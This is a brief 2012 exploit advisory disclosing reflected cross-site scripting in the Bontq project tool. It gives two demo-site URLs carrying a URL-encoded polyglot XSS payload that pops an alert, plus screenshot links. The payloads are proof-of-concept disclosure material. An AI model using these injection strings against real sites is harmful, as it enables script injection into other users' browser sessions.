# Exploit Title: Bontq Cross Site Scripting # Date: 24.02.2012 # Author: Sony # Software Link: http://www.bontq.com/ # Web Browser : Mozilla Firefox # Blog : http://st2tea.blogspot.com # PoC: http://st2tea.blogspot.com/2012/02/bontq-cross-site-scripting.html .................................................................. What is Bontq? http://en.wikipedia.org/wiki/Bontq It's was tested on the Bontq Demo. http://demo.bontq.com/user/index (User) http://demo.bontq.com/user/user/userinfo/id/2%27;alert%28String.fromCharCode%2888,83,83%29%29//%5C%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%5C%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://2.bp.blogspot.com/-CNbsoIBb2-E/T0fRES5H9jI/AAAAAAAAAmM/vcIl64N5A-k/s1600/id2.JPG http://demo.bontq.com/user/reports/%27;alert%28String.fromCharCode%2888,83,83%29%29//%5C%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//%5C%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E http://4.bp.blogspot.com/-v5-MOSlU5BQ/T0fRKKVCgGI/AAAAAAAAAmY/RKyj42x-Lt4/s1600/reports2.JPG